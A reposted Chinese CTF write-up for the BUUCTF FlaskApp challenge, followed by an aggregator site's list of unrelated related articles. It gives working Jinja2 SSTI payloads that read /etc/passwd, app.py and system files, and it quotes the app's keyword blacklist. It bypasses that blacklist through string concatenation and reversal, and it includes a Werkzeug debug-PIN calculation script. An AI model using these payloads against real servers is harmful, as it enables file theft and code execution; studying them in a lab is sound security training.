BUUCTF——[GYCTF2020]FlaskApp1 SSTI模板注入/PIN学习

目录

一、网页功能探索

二、SSTI注入

三、方法一

四、方法二 使用PIN码

(1)服务器运行flask登录所需的用户名

(2)modename

(3)flask库下app.py的绝对路径

(4)当前网络的mac地址的十进制数

(5)机器的id

PIN码


一、网页功能探索

当我在“解密”页面输入123时,会跳转到这个页面

非常熟悉的页面,以前在做jinjia2的时候看到过,猜测是能进行ssti模板注入的。

先在加密页面输入:{{2*3}}

得到: e3syKjN9fQ==   再去解密页面,输入

此时发现得到的是 no no no

也许是 '*' 被过滤掉了,尝试 '+' ,发现可以注入!

二、SSTI注入

先尝试文件读取

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}加密后为:
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19 

 解释:

(1)()和.__class__

        ()创建一个空元组

        .__class__ 获取该对象的类,即tuple类

(2)__bases__[0]

        获取基类,tuple类的基类是object类

(3)__subclasses__() [75]

        获取特定子类

(4)__init__.__globals__

        访问初始化方法的全局变量

(5)__builtins__

        python中的内置函数,包含open,eval 函数

得到:

此时不知道flag放到哪个下面了,尝试读一下完整的app.py

三、方法一

下面的方法都是参考这位师傅的wp:
BUUCTF [GYCTF2020]FlaskApp - Amsterdamnit - 博客园

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warning' %}
{{c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}
{% endif %}{% endfor%}

变为一行

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

加密得到:

eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignYXBwLnB5JywncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

成功得到app.py的源码

看一下关键的地方,发现了waf

def waf(str):   black_list=
["flag","os","system","popen","import","eval","chr","request","subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 

过滤了一些像:flag system eval hex base * 等字符

但发现还是可以通过字符串拼接来找目录,可以这样构造(构造import 和 os):

{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

 发现一个文件

尝试读取这个文件,但这里因为有flag黑名单,需要进行一些绕过,尝试用python列表的特性,使字符串倒过来(this_is_the_flag)(或者直接构造'this_is_the_fl'+'ag.txt'应该也行)

{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}

成功得到flag

四、方法二 使用PIN码

先来进行操作后面再看看怎么解释吧,PIN码的生成需要以下步骤:

(1)服务器运行flask登录所需的用户名

通过之前读取的/etc/passwd可以得知为: flaskweb

(2)modename

 一般不变,就是flask.app

(3)flask库下app.py的绝对路径

之前报错的信息里就会泄露

 得到:/usr/local/lib/python3.7/site-packages/flask/app.py

(4)当前网络的mac地址的十进制数

通过读取/sys/class/net/eth0/address 就可以得到

{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read()}}

 成功得到:
fe:fa:23:fe:b7:6e

(5)机器的id

linux的id一般存放在/etc/machine-id 或 /proc/sys/kernel/random/boot_i 中

docker机则读取 /proc/self/cgroup

这里使docker机,尝试读取

{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read()}}

得到:
3b8d2d4c644bc73a6b50ce280dd9061678acf45dea1970bb11f7b1f9df9e1d02

PIN码

然后尝试PIN码

from itertools import chain
import hashlib
# 定义公共信息
probably_public_bits=['flaskweb','flask.app','Flask','/usr/local/lib/python3.7/site-packages/flask/app.py'
]
# 定义私有信息
private_bits=['fe:fa:23:fe:b7:6e','3b8d2d4c644bc73a6b50ce280dd9061678acf45dea1970bb11f7b1f9df9e1d02'
]
# 将公共信息和私有信息拼接成一个列表
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt') # 最后追加盐值 cookiesalt# 生成Flask调试会话Cookie的名称前缀
cookie_name = '__wzd' + h.hexdigest()[:20]# 生成PIN码的中间值
num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]# 格式化PIN码
rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

得到:

318-076-921

通过之前输入错误信息跳转的页面可以得知是开启了 flask的debug模式的,再次进入错误界面

点击这个终端

输入我们的PIN码

可惜 -_-|,错哩

Flask的调试PIN码是调试的核心安全机制,若生产环境误开启调试模式,攻击者可通过获取PIN码执行任意代码


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/897219.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java基础关键_018_集合(二)

目 录 一、泛型 ※ 1.说明 2.实例 3.擦除与补偿 4.泛型的定义 (1)类定义 (2)静态方法定义 (3)接口定义 5.通配符 (1)无限定 (2)上限 &#xff…

FPGA学习篇——Verilog学习3(关键字+注释方法+程序基本框架)

1 Verilog常用关键字 大概知道以下哪些是关键字就好,如何使用还是得在编写代码中来学习。 2 Verilog注释方法 Verilog有两种注释方式: 2.1 “ // ” 单行。 2.2 “ /* ... */ ” 可扩展多行。 3 Verilog程序基本框架 Verilog 的基本设计单元是“…

FPGA之USB通信实战:基于FX2芯片的Slave FIFO回环测试详解

FPGA之Usb数据传输 Usb 通信 你也许会有疑问,明明有这么多通信方式和数据传输(SPI、I2C、UART、以太网)为什么偏偏使用USB呢? 原因有很多,如下: 1. 高速数据传输能力 高带宽:USB接口提供了较高的数据传…

深入理解与配置 Nginx TCP 日志输出

一、背景介绍 在现代网络架构中,Nginx 作为一款高性能的 Web 服务器和反向代理服务器,广泛应用于各种场景。除了对 HTTP/HTTPS 协议的出色支持,Nginx 从 1.9.0 版本开始引入了对 TCP 和 UDP 协议的代理功能,这使得它在处理数据库…

【大模型安全】安全解决方案

【大模型安全】安全解决方案 1.技术层面2.数据层面数据收集阶段训练阶段模型推理阶段 1.技术层面 在使用大语言模型时,通常有几种选择:一种是采用封装好的大语言模型SaaS云服务;另一种是在公有云上部署自有的大语言模型,并通过权…

python中httpx库的详细使用及案例

文章目录 1. 安装 httpx2. 同步请求3. 异步请求4. 高级功能5. 错误处理6. 配置客户端7. 结合 Beautiful Soup 使用8. 示例:抓取并解析网页9. 注意事项httpx 是一个现代化的 Python HTTP 客户端库,支持同步和异步请求,功能强大且易于使用。它比 requests 更高效,支持 HTTP/2…

OpenCV计算摄影学(19)非真实感渲染(Non-Photorealistic Rendering, NPR)

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 非真实感渲染(Non-Photorealistic Rendering, NPR)是一种计算机图形学技术,旨在生成具有艺术风格或其他非现实…

微信小程序点击按钮,将图片下载到本地

前言&#xff1a; 最近在公司完成一个小程序的时候需要实现一个功能&#xff1a;点击按钮获取用户相册权限&#xff0c;将图片下载到用户本地相册&#xff0c;经过了好几次的尝试最终算是实现了。将总结的经验在这里分享给小伙伴们。 实现方式&#xff1a; //.wxml文件 <…

数据仓库为什么要分层

数据仓库分层架构是数据仓库设计中的一个重要概念&#xff0c;其主要目的是为了更好地组织和管理数据&#xff0c;提高数据仓库的可维护性、可扩展性和性能。分层架构将数据仓库划分为多个层次&#xff0c;每个层次都有其特定的职责和功能。以下是数据仓库分层的主要原因和好处…

selenium库

一、什么是selenium库&#xff1f; selenim是一个用于Web应用程序自动化测试工具&#xff0c;selenium测试直接运行在浏览器中 像真正的用户在操作一样&#xff0c;驱动浏览器执行特定的动作&#xff0c;如点击&#xff0c;下拉等操作 二、selenium在爬虫中的应用 获取动态…

python从入门到精通(二十四):python爬虫实现登录功能

这里写目录标题 requests实现登录功能selenium实现登录功能 requests实现登录功能 使用 requests 库结合会话&#xff08;Session&#xff09;来尝试登录。不过豆瓣有反爬虫机制&#xff0c;这种方式可能会受到验证码等因素的限制 import requests import re# 豆瓣登录页面 l…

十七、从0开始卷出一个新项目之瑞萨RZN2L定时器(GPT)+DMA生成PWM的运动控制

一、概述 嵌入式科普(34)通过对比看透DMA的本质 分享瑞萨RZN2L使用DMA生成PWM的运动控制的例程源码 rzn2l必要的外设资源&#xff1a; rzn2l拥有32-bit timer General PWM Timer (GPT) with 18 channels CPU、GPT最高频率400Mhz DMAC0 and DMAC1 8 channels 8 channels 还…

MR的环形缓冲区(底层)

MapReduce的大致流程&#xff1a; 1、HDFS读取数据&#xff1b; 2、按照规则进行分片&#xff0c;形成若干个spilt&#xff1b; 3、进行Map 4、打上分区标签&#xff08;patition&#xff09; 5、数据入环形缓冲区&#xff08;KVbuffer&#xff09; 6、原地排序&#xff…

解锁STM32外设:开启嵌入式开发新世界

✨✨✨这里是小韩学长yyds的BLOG(喜欢作者的点个关注吧) ✨✨✨想要了解更多内容可以访问我的主页 小韩学长yyds-CSDN博客 目录 探索 STM32 强大的外设家族 初窥门径&#xff1a;STM32 外设开发基础 开发方式与工具 外设配置基础步骤 深入剖析&#xff1a;常见外设应用实例…

大模型AI平台DeepSeek 眼中的SQL2API平台:QuickAPI、dbapi 和 Magic API 介绍与对比

目录 1 QuickAPI 介绍 2 dbapi 介绍 3 Magic API 介绍 4 简单对比 5 总结 统一数据服务平台是一种低代码的方式&#xff0c;实现一般是通过SQL能直接生成数据API&#xff0c;同时能对产生的数据API进行全生命周期的管理&#xff0c;典型的SQL2API的实现模式。 以下是针对…

人工智能之数学基础:对线性代数中逆矩阵的思考?

本文重点 逆矩阵是线性代数中的一个重要概念,它在线性方程组、矩阵方程、动态系统、密码学、经济学和金融学以及计算机图形学等领域都有广泛的应用。通过了解逆矩阵的定义、性质、计算方法和应用,我们可以更好地理解和应用线性代数知识,解决各种实际问题。 关于逆矩阵的思…

[傻瓜式教学]如何将MathType公式编辑器内嵌到WPS工具栏中

[傻瓜式教学]如何将MathType公式编辑器内嵌到WPS工具栏中 将MathType公式编辑器内嵌到WPS工具栏中 下载好所需文件 我用夸克网盘分享了「mathtype安装教程超简单易上手.zip」&#xff0c;点击链接即可保存。打开「夸克APP」 链接&#xff1a;https://pan.quark.cn/s/4726c684…

WPF框架---MvvmLight介绍

目录 1. MvvmLight 框架准备 2. MvvmLight 中的相关基类 3. MvvmLight 中的数据绑定与通知 a. 核心功能 b. 关键方法与属性 c. 完整示例 d. 高级用法 4. MvvmLight 中的命令对象 a. 命令对象的作用 b. 核心接口&#xff1a;ICommand c. MvvmLight 中的 RelayCommand…

【Linux】线程同步与互斥

线程同步与互斥 一.线程互斥1.互斥相关概念2.互斥锁 Mutex3.互斥锁接口4.互斥锁实现原理5.互斥锁封装 二.线程同步1.同步相关概念2.条件变量 Condition Variable3.条件变量接口4.条件变量封装5.信号量 Semaphore6.信号量接口7.信号量封装8.生产者 - 消费者模型1.基于 Blocking …

URIError: URI malformed

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》、《前端求职突破计划》 &#x1f35a; 蓝桥云课签约作者、…